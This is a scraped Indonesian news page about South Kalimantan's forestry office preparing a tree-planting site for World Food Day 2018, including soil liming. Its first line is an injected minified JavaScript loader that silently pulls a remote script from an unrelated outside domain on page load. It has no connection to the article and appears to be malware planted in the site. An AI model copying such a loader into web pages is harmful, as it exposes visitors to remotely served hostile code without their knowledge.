(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Balai Perbenihan Tanahan Hutan Terus Mempersiapkan HPS


BANJARBARU, Sebagai upaya turut serta mensukseskan Hari Pangan Sedunia (HPS) XXXVIII pada pertengahan Oktober 2018 nanti, Dishut Prov. Kalsel melalui Balai Perbenihan Tanaman Hutan (BPTH) terus melaksanakan langkah-langkah persiapan di areal MH2T yang dijadikan lokasi penanaman HPS, Senin (17/9) lalu.

Langkah persiapan kali ini antara lain alat berat excavator melakukan pendalaman dan pelebaran lubang tanam, memasukan pupuk kandang + sekam + tanah media ke lubang tanam, pemasangan ajir pada lubang tanam dan perataan batas luar blok jalan inspeksi. Kegiatan-kegiatan persiapan tersebut di atas dilaksanakan oleh Kru BPTH dibantu para tenaga harian.

Sedianya lokasi penanaman HPS ini akan dilakukan penanaman sebanyak ± 60 bibit pohon jenis lokal endemik oleh Team Diplomatic Tour Kementerian Luar Negeri pada puncak peringatan HPS yang rencananya dihadiri juga oleh Presiden RI Jokowi.

Sebelumnya, Dishut Prov. Kalsel dipimpin Kabid PKSDAE terus melaksanakan langkah persiapan berupa pengapuran/penebaran kapur di lokasi petak sawah kapling Dishut seluas ± 10 ha yang dijadikan lokasi penanaman HPS. Pada kegiatan tersebut masing-masing bidang mengerahkan 10 orang staf untuk melaksanakan penaburan kapur di lokasi, tujuan dari pengapuran pada intinya adalah bagaimana supaya tanah memiliki PH yang sesuai dengan kebutuhan tanaman dan kelarutan Al dalam tanah dapat ditekan.

Dengan aplikasi pemberian kapur yang tepat pada saat pengolahan tanah, sangat bermanfaat untuk mencegah dan memperbaiki meningkatnya kadar keasaman pada tanah. Hal tersebut dapat mempengaruhi baik jangka pendek , jangka panjang dan produktivitas tanaman. Manfaat kapur untuk tanaman adalah untuk menekan pH tanah yang bereaksi masam menjadi netral, ada beberapa keuntungan lain dalam pemberian kapur pada tanah yang masam antara lain struktur tanah akan menjadi lebih baik dan mikroorganisma akan menjadi lebih giat sehingga pelapukan bahan organik yang ada didalam tanah menjadi lebih cepat. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

17 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

22 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

23 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.